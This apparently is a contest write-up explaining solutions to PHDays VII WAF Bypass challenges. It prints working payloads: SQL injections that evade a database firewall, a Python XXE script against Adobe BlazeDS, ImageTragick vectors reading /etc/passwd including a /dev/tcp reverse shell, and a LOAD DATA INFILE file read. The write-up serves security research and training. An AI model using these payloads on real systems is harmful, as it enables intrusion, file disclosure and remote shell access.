June 2, 2017

WAF Bypass at PHDays VII: Results and Answers

Continuing the tradition of past years, the WAF Bypass contest was held at last month's PHDays. Participants tried to bypass PT Application Firewall protection mechanisms in order to find special flags accessible through vulnerabilities specially left in web applications. In a series of challenges, the organizers disabled different features of PT Application Firewall, leaving a "way in" for participants to take advantage of. The focus of attention this time was a prototype database firewall (DBFW), which analyzed SQL traffic from applications to databases.

Challenge #1 (JJ)


350 points

For this challenge, participants had to find a way around detection of SQL injections. A PHP module, replacing the original mysql_query() function with one of its own, was installed on the application server. In this function, the values of HTTP parameters (GET, POST, Cookie) are added to the start of an SQL query in the form of a comment.


After an SQL query from the application is sent to the database using a variable function, the query is intercepted by the DBFW. The DBFW extracts the values of HTTP parameters from the comment and looks for them in the SQL query. If a substring matching the parameter value is found, it is replaced by a constant. Then the two queries are tokenized: before replacement and after. If the number of tokens does not match, this indicates SQL injection. The basic principle is that the clearest sign of an injection attack is a change in the parsing tree. If the number of tokens has changed, then the parsing tree has changed, which means that injection has occurred.

We talked more about the logic of this algorithm in the talk "Database Firewall from Scratch", in which we shared our experience researching DBFW mechanisms. Those who saw the talk were surely aware of the main drawback of this approach: comparing token numbers is not a 100% reliable method, since it is possible to alter the parsing tree in a way that the number of tokens in the original and analyzed queries will still match. An attacker could add comments in a way that the number of tokens in the two queries is the same, even though the tokens themselves are different. The correct way is to build and compare abstract syntax trees (AST) of the two queries. So to complete this challenge, participants needed to create a vector that would have the same number of tokens as the original, injection-free query:

/post.php?p=-1 union select 1,2,(select flag from flags order by id,1),4 -- -


Participants found a flaw in our ANTLR parser for MySQL. The reason is that MySQL supports conditional comments using the notation /*! … */. Everything inside such a comment will be run by MySQL, but other databases will ignore it.

http://task1.waf-bypass.phdays.com/post.php?p=(select /*!50718 ST_LatFromGeoHash((SELECT table_name FROm information_schema.tables LIMIT 1)) */) and true and true and true order by id desc limit 10 --  (Arseny Sharoglazov)

http://task1.waf-bypass.phdays.com/post.php?p=/*!1111111 union select 1 id,flag,1,1 from flags where 1*/ (Sergey Bobrov)

Challenge #2 (KM)

250 points

For the second challenge, participants had access to an application that allowed adding notes. The full SQL query was passed in hex in parameter p:

http://task2.waf-bypass.phdays.com/notes.php?q=53454c454354207469746c652c20626f64792046524f4d206e6f746573204c494d4954203235 (SELECT title, body FROM notes LIMIT 25 )

In the ALFAScript language, wet set an attribute-based access control (ABAC) policy allowing users to perform only INSERT, UPDATE and SELECT for the notes table only. Therefore, access to the flags table was blocked. But we left a way around this restriction by allowing CREATE. Our intended solution involved creating an event (https://dev.mysql.com/doc/refman/5.7/en/create-event.html) that writes a flag to the notes table:

CREATE EVENT `new_event` ON SCHEDULE EVERY 60 SECOND STARTS CURRENT_TIMESTAMP ON COMPLETION NOT PRESERVE ENABLE COMMENT '' DO insert into notes (title, body) VALUES ((select flag from flags limit 1), 2)


Besides CREATE EVENT, participants could use CREATE TABLE to get a flag in a MySQL message after first causing an error (solution by Arseny Sharoglazov):

CREATE TABLE ggg AS SELECT ST_LongFromGeoHash (flag) FROM flags;


Sergey Bobrov proposed an alternative method using ON DUPLICATE KEY UPDATE, which enables running UPDATE inside INSERT with a single query:

INSERT INTO notes SELECT 1,2,3 FROM notes,flags as a  ON DUPLICATE KEY UPDATE body = flag

Challenge #3 (AG)

300 points

Here participants needed to find and exploit a vulnerability in an old version of Adobe BlazeDS. The application used AMF (Action Message Format) for communicating with the server. AMF is a serialized structure with typed fields. One type is XML (0x0b), incorrect parsing of which caused a number of vulnerabilities in libraries for handling AMF, including in BlazeDS.

WAF had a built-in AMF parser, but parsing of external Flex objects— AcknowledgeMessageExt (alias DSK), CommandMessageExt (DSC), AsyncMessageExt (DSA)—was disabled for this challenge. At the same time, BlazeDS could parse such messages and find XML in them, which led to a vulnerability to XXE attacks.

The following request could be created using the pyamf library:

import pyamf
import httplib
import uuid
from pyamf.flex.messaging import RemotingMessage, AcknowledgeMessageExt
from pyamf.remoting import Envelope, Request, decode
hostname = 'task3.waf-bypass.phdays.com'
port = 80
path = '/samples/messagebroker/amf'
request = AcknowledgeMessageExt(
    operation="findEmployeesByName",
    destination="runtime-employee-ro",
    messageId=None,
    body=[
        '
        ' ]>'
        'External entity 1: &foo;'],
    clientId=None,
    headers={'DSId': str(uuid.uuid4()).upper(),
             'DSEndpoint': 'my-amf'}
)
envelope = Envelope(amfVersion=3)
envelope["/%d" % 1] = Request(u'null', [request])
message = pyamf.remoting.encode(envelope)
conn = httplib.HTTPConnection(hostname, port)
conn.request('POST', path, message.getvalue(),
             headers={'Content-Type': 'application/x-amf'})
resp = conn.getresponse()
data = resp.read()
content = decode(data)
print content

BlazeDS was configured to operate via an internal transparent proxy, which added a flag to the header of all outgoing requests.




Challenge #4 (KP)

200 points

For this challenge, we used a version of web application Pasteboard that was vulnerable to the Imagetragick attack. WAF was specially configured to filter only the following keywords:
url, caption:, label:, ephemeral:, msl:

However, less-common vectors were still available. One for example, was the text wrapper (unlike label, no @ is required before the file name):

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'text:/etc/passwd'
pop graphic-context

The result was an image with the contents of the /etc/passwd file:


Arseny Sharoglazov used a vector with image over:

push graphic-context
encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context
image Over 0,0 1,1 '|/bin/sh -i > /dev/tcp/ip/80 0<&1 2>&1'
pop graphic-context
pop graphic-context

In the imagemagick source code, Sergey Bobrov found a pango: wrapper not previously mentioned in public exploits.

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'pango:@/etc/passwd'
pop graphic-context

Challenge #5 (GM)

250 points

Participants were given a search form vulnerable to SQL injection. The table with search results contained the publickey field. The challenge was to use SQL injection to get the value of the privatekey field. The following ABAC policy, written in ALFAScript, was used:

namespace example {
  export policy Main {
    target clause action == "select"
    apply denyUnlessPermit

    rule r1 {
      permit
      target clause resource.schema.id == "information_schema"
    }

    rule r2 {
      permit
      target clause resource.schema.id == "task5"
        and resource.table.id == "users"
        and resource.column.id == "publickey"
    }

    rule r3 {
      permit
      target clause resource.schema.id == "task5"
        and resource.table.id == "users"
        and resource.column.id == "name"
    }
  }
}

Note use of the word denyUnlessPermit. In XACML, there are several types of algorithms for combining elements to describe attribute-based access control policies. Use of the denyUnlessPermit algorithm means that the query will be authorized if and only if at least one of the rules allows granting user access to the resource. The DBFW does not know the real structure of the database, so when it sees a query of the type SELECT a,b from c,d, unlike the database it does not know where column a is located (in table c or table d). In case of such a query, the DBFW must check the user's ability to access all versions of resources. In this example, that would be columns c.a, c.b, d.a, and d.b. So if a query contains at least one authorized column, we can use two tables to extract privatekey:

Petrov' union select name, privatekey from information_schema.columns,users where name = 'Petrov' –


Challenge #6 (ES)

300 points

This web application had two functions: loading of CSV files with contact lists and a form for searching contacts, which was vulnerable to SQL injection. A special Dejector mechanism was used by the DBFW for protection.

This method for detecting SQL injection was first detailed by Hansen and Patterson in "Guns and Butter: Towards Formal Axioms of Input Validation". In essence, a set of known web application requests (for example, this set could be obtained using static source-code analysis) is used to build an SQL subgrammar. This grammar is used to generate a parser. If a query is recognized by the parser, this mean that the query belongs to that language; otherwise the query does not belong to the language and is therefore not legitimate.

For this challenge, we prepared a grammar describing the allowed queries. The ability to load CSV files implied that the MySQL user had file operations available. Another hint was in an error: mysqli_multi_query(), enabling stacked queries, was used. The ordinary LOAD_FILE() was forbidden by the grammar but LOAD DATA INFILE was accessible:

'; load data infile '/etc/passwd' into table users character set 'utf8


Winners


First and second place were taken by Sergey Bobrov and Arseny Sharoglazov, both from Kaspersky Lab. Third place went to Andrey Semakin, a student at Tyumen State University. Great work!

Arseny Reutov, Dmitry Nagibin, Igor Kanygin, Denis Kolegov, Nikolay Tkachenko, Ivan Khudyashov

No comments:

Post a Comment